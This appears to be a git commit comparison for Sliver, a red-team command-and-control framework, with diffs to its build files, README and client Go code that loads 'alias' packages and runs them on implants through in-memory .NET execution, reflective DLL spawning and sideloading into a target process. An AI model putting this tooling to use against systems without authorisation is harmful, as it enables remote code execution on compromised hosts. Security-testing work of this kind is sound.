Compare commits

..
Author SHA1 Message Date
rkervella 25795b3ceb Switch fd 2022-01-14 15:43:47 -08:00
rkervella aa272c2e14 Use pipes for IPC 2022-01-14 15:41:32 -08:00
119 changed files with 4304 additions and 6044 deletions

No files matched your search

+1 -1
View File
@@ -1,4 +1,4 @@
FROM golang:1.17.6
FROM golang:1.17.5
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
+14 -36
View File
@@ -6,25 +6,10 @@ GO ?= go
ENV =
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
#
# Prerequisites
#
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
EXECUTABLES = uname sed git zip date cut $(GO)
K := $(foreach exec,$(EXECUTABLES),\
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
#
# Version Information
#
GO_VERSION = $(shell $(GO) version)
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 17
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
@@ -32,10 +17,8 @@ CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
LDFLAGS = -ldflags "-s -w \
-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
@@ -47,6 +30,14 @@ LDFLAGS = -ldflags "-s -w \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
#
# Prerequisites
#
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
EXECUTABLES = uname sed git zip date $(GO)
K := $(foreach exec,$(EXECUTABLES),\
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
SED_INPLACE := sed -i
STATIC_TARGET := linux
@@ -89,36 +80,34 @@ ifeq ($(MAKECMDGOALS), linux)
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY)"
endif
#
# Targets
#
.PHONY: default
default: clean validate-go-version
default: clean
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: macos
macos: clean validate-go-version
macos: clean
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: macos-arm64
macos-arm64: clean validate-go-version
macos-arm64: clean
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
.PHONY: linux
linux: clean validate-go-version
linux: clean
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: windows
windows: clean validate-go-version
windows: clean
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
@@ -130,17 +119,6 @@ pb:
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
validate-go-version:
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
exit 0 ;\
elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
exit 1; \
elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
exit 1; \
fi
.PHONY: clean-all
clean-all: clean
rm -rf ./server/assets/fs/darwin/amd64
+5 -3
View File
@@ -1,7 +1,7 @@
Sliver
======
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary encryption keys.
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
@@ -17,11 +17,13 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
* Windows process migration, process injection, user token manipulation, etc.
* Local and remote process injection
* Windows process migration
* Windows user token manipulation
* Anti-fingerprinting features
* Let's Encrypt integration
* In-memory .NET assembly execution
* COFF/BOF in-memory loader
* TCP and named pipe pivots
* Much more!
### Getting Started
+1 -1
View File
@@ -73,7 +73,7 @@ func Setup(force bool, echo bool) {
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf(`
Sliver Copyright (C) 2022 Bishop Fox
Sliver Copyright (C) 2021 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
+7 -58
View File
@@ -19,17 +19,12 @@ package alias
*/
import (
"encoding/json"
"fmt"
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
)
// AliasesCmd - The alias command
@@ -48,37 +43,21 @@ func PrintAliases(con *console.SliverConsoleClient) {
tw.AppendHeader(table.Row{
"Name",
"Command Name",
"Platforms",
"Version",
"Installed",
".NET Assembly",
"Reflective",
"Tool Author",
"Repository",
"Help",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
tw.SetColumnConfigs([]table.ColumnConfig{
{Number: 5, Align: text.AlignCenter},
})
installedManifests := getInstalledManifests()
for _, aliasPkg := range loadedAliases {
installed := ""
if _, ok := installedManifests[aliasPkg.Manifest.CommandName]; ok {
installed = "✅"
}
for _, alias := range loadedAliases {
tw.AppendRow(table.Row{
aliasPkg.Manifest.Name,
aliasPkg.Manifest.CommandName,
strings.Join(aliasPlatforms(aliasPkg.Manifest), ",\n"),
aliasPkg.Manifest.Version,
installed,
aliasPkg.Manifest.IsAssembly,
aliasPkg.Manifest.IsReflective,
aliasPkg.Manifest.OriginalAuthor,
aliasPkg.Manifest.RepoURL,
alias.Manifest.Name,
alias.Manifest.CommandName,
alias.Manifest.IsAssembly,
alias.Manifest.IsReflective,
alias.Manifest.Help,
})
}
con.Println(tw.Render())
@@ -94,33 +73,3 @@ func AliasCommandNameCompleter(prefix string, args []string, con *console.Sliver
}
return results
}
func aliasPlatforms(aliasPkg *AliasManifest) []string {
platforms := map[string]string{}
for _, entry := range aliasPkg.Files {
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
}
keys := []string{}
for key := range platforms {
keys = append(keys, key)
}
return keys
}
func getInstalledManifests() map[string]*AliasManifest {
manifestPaths := assets.GetInstalledAliasManifests()
installedManifests := map[string]*AliasManifest{}
for _, manifestPath := range manifestPaths {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
continue
}
manifest := &AliasManifest{}
err = json.Unmarshal(data, manifest)
if err != nil {
continue
}
installedManifests[manifest.CommandName] = manifest
}
return installedManifests
}
+2 -6
View File
@@ -23,7 +23,6 @@ import (
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
@@ -112,7 +111,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
return nil
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if !autoOverwrite {
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
@@ -153,13 +152,10 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
}
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
data, err := util.ReadFileFromTarGz(aliasGzFilePath, artifactPath)
if err != nil {
return err
}
if len(data) == 0 {
return fmt.Errorf("empty file %s", artifactPath)
}
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
artifactDir := filepath.Dir(localArtifactPath)
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
+49 -127
View File
@@ -28,15 +28,12 @@ import (
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
@@ -66,14 +63,12 @@ type loadedAlias struct {
Command *grumble.Command
}
// AliasFile - An OS/Arch specific file
type AliasFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
// AliasManifest - The manifest for an alias, contains metadata
type AliasManifest struct {
Name string `json:"name"`
Version string `json:"version"`
@@ -102,22 +97,18 @@ func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err er
}
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range a.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetAliasesDir(), a.CommandName, extFile.Path)
var filePath string
var err error
for _, ef := range a.Files {
if targetOS == ef.OS && targetArch == ef.Arch {
filePath = ef.Path
break
}
}
if filePath == "" {
err := fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
return "", err
err = fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
}
if _, err := os.Stat(filePath); os.IsNotExist(err) {
err = fmt.Errorf("alias file not found: %s", filePath)
return "", err
}
return filePath, nil
return filePath, err
}
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
@@ -132,36 +123,37 @@ func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
// LoadAlias - Load an alias into the Sliver shell from a given directory
func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
func LoadAlias(dirPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
// retrieve alias manifest
var err error
manifestPath, err = filepath.Abs(manifestPath)
dirPath, err = filepath.Abs(dirPath)
if err != nil {
return nil, err
}
// parse it
manifestPath := filepath.Join(dirPath, ManifestFileName)
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
aliasManifest, err := ParseAliasManifest(data)
alias, err := ParseAliasManifest(data)
if err != nil {
return nil, err
}
aliasManifest.RootPath = filepath.Dir(manifestPath)
alias.RootPath = filepath.Dir(manifestPath)
// for each alias command, add a new app command
// do not add if the command already exists
if cmdExists(aliasManifest.CommandName, con.App) {
return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
if cmdExists(alias.CommandName, con.App) {
return nil, fmt.Errorf("'%s' command already exists", alias.CommandName)
}
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
helpMsg := fmt.Sprintf("[%s] %s", alias.Name, alias.Help)
addAliasCmd := &grumble.Command{
Name: aliasManifest.CommandName,
Name: alias.Name,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
LongHelp: help.FormatHelpTmpl(alias.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runAliasCommand(extCtx, con)
@@ -169,7 +161,7 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
return nil
},
Flags: func(f *grumble.Flags) {
if aliasManifest.IsAssembly {
if alias.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
@@ -189,15 +181,14 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
// Have to use a global map here, as passing the aliasCmd
// either by value or by ref fucks things up
loadedAliases[aliasManifest.CommandName] = &loadedAlias{
Manifest: aliasManifest,
loadedAliases[alias.Name] = &loadedAlias{
Manifest: alias,
Command: addAliasCmd,
}
return aliasManifest, nil
return alias, nil
}
// ParseAliasManifest - Parse an alias manifest
func ParseAliasManifest(data []byte) (*AliasManifest, error) {
// parse it
alias := &AliasManifest{}
@@ -234,49 +225,39 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) {
}
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
loadedAlias, ok := loadedAliases[ctx.Command.Name]
if !ok {
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
return
}
aliasManifest := loadedAlias.Manifest
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
alias := loadedAlias.Manifest
binPath, err := alias.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
if err != nil {
con.PrintErrorf("Fail to find alias file: %s\n", err)
con.PrintErrorf("%s\n", err)
return
}
args := ctx.Args.StringList("arguments")
var extArgs string
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
extArgs = aliasManifest.DefaultArgs
if len(alias.DefaultArgs) != 0 && len(args) == 0 {
extArgs = alias.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
entryPoint := aliasManifest.Entrypoint
entryPoint := alias.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = aliasManifest.getDefaultProcess(goos)
processName, err = alias.getDefaultProcess(session.GetOS())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
if filepath.Ext(binPath) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
@@ -286,17 +267,14 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if aliasManifest.IsAssembly {
// Execute Assembly
if alias.IsAssembly {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
@@ -317,24 +295,12 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, executeAssemblyResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
})
con.PrintAsyncResponse(executeAssemblyResp.Response)
} else {
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssemblyResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else if aliasManifest.IsReflective {
// Spawn DLL
} else if alias.IsReflective {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
@@ -343,33 +309,23 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: aliasManifest.Entrypoint,
EntryPoint: alias.Entrypoint,
Kill: true,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawnDllResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
})
con.PrintAsyncResponse(spawnDllResp.Response)
} else {
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else {
// Sideload
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
@@ -384,54 +340,20 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if sideloadResp.Response != nil && sideloadResp.Response.Async {
con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideloadResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
})
con.PrintAsyncResponse(sideloadResp.Response)
} else {
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
// PrintSpawnDLLOutput - Prints the output of a spawn dll command
func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintSideloadOutput - Prints the output of a sideload command
func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintAssemblyOutput - Prints the output of an execute-assembly command
func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAsmResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
+42 -75
View File
@@ -35,7 +35,6 @@ import (
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
)
type ArmoryIndex struct {
@@ -103,7 +102,7 @@ func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
indexCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(indexCacheEntry)
if cacheEntry.LastErr != nil {
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
con.PrintErrorf("%s: %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
}
return true
})
@@ -124,7 +123,7 @@ func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if errorCount == 0 {
con.Printf("errors!\n")
}
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
con.PrintErrorf("%s: %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
} else {
if cacheEntry.Pkg.IsAlias {
aliases = append(aliases, cacheEntry.Alias)
@@ -194,14 +193,14 @@ func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.
results := []string{}
aliases, exts := packagesInCache()
bundles := bundlesInCache()
for _, aliasPkg := range aliases {
if strings.HasPrefix(aliasPkg.CommandName, prefix) {
results = append(results, aliasPkg.CommandName)
for _, alias := range aliases {
if strings.HasPrefix(alias.CommandName, prefix) {
results = append(results, alias.CommandName)
}
}
for _, extensionPkg := range exts {
if strings.HasPrefix(extensionPkg.CommandName, prefix) {
results = append(results, extensionPkg.CommandName)
for _, extension := range exts {
if strings.HasPrefix(extension.CommandName, prefix) {
results = append(results, extension.CommandName)
}
}
for _, bundle := range bundles {
@@ -214,38 +213,6 @@ func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.
// PrintArmoryPackages - Prints the armory packages
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
minWidth := 150
if minWidth < width {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
"URL",
})
} else {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
})
}
// Columns start at 1 for some dumb reason
tw.SortBy([]table.SortBy{
{Number: 1, Mode: table.Asc},
})
type pkgInfo struct {
CommandName string
Version string
@@ -254,13 +221,13 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
URL string
}
entries := []pkgInfo{}
for _, aliasPkg := range aliases {
for _, alias := range aliases {
entries = append(entries, pkgInfo{
CommandName: aliasPkg.CommandName,
Version: aliasPkg.Version,
CommandName: alias.CommandName,
Version: alias.Version,
Type: "Alias",
Help: aliasPkg.Help,
URL: aliasPkg.RepoURL,
Help: alias.Help,
URL: alias.RepoURL,
})
}
for _, extension := range exts {
@@ -273,30 +240,34 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
})
}
rows := []table.Row{}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
"URL",
})
tw.SortBy([]table.SortBy{
{Name: "Command Name", Mode: table.Asc},
})
for _, pkg := range entries {
color := console.Normal
if extensions.CmdExists(pkg.CommandName, con.App) {
color = console.Green
}
if minWidth < width {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
})
} else {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
})
}
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
})
}
tw.AppendRows(rows)
con.Printf("%s\n", tw.Render())
}
@@ -388,7 +359,7 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
return
}
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
armoryResult.LastErr = errors.New("invalid repo url scheme in index")
armoryResult.LastErr = errors.New("invalid URL scheme")
return
}
@@ -401,9 +372,7 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
if index != nil {
armoryResult.Index = *index
}
if err != nil {
armoryResult.LastErr = fmt.Errorf("failed to parse armory index: %s", err)
}
armoryResult.LastErr = err
}
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
@@ -441,11 +410,11 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
repoURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse repo url: %s", err)
pkgCacheEntry.LastErr = err
return
}
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
pkgCacheEntry.LastErr = errors.New("invalid repo url scheme in pkg")
pkgCacheEntry.LastErr = errors.New("invalid URL scheme")
return
}
@@ -456,7 +425,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
pkgCacheEntry.LastErr = err
return
}
if sig != nil {
@@ -471,7 +440,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
if err == nil {
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
pkgCacheEntry.LastErr = err
return
}
if armoryPkg.IsAlias {
@@ -479,8 +448,6 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
} else {
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
}
pkgCacheEntry.LastErr = err
}
}
+6 -118
View File
@@ -28,8 +28,6 @@ import (
"net"
"net/http"
"net/url"
"path"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/server/cryptography/minisign"
@@ -43,11 +41,10 @@ type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign
var (
indexParsers = map[string]ArmoryIndexParser{
"api.github.com": GithubAPIArmoryIndexParser,
"api.github.com": GithubArmoryIndexParser,
}
pkgParsers = map[string]ArmoryPackageParser{
"api.github.com": GithubAPIArmoryPackageParser,
"github.com": GithubArmoryPackageParser,
"api.github.com": GithubArmoryPackageParser,
}
)
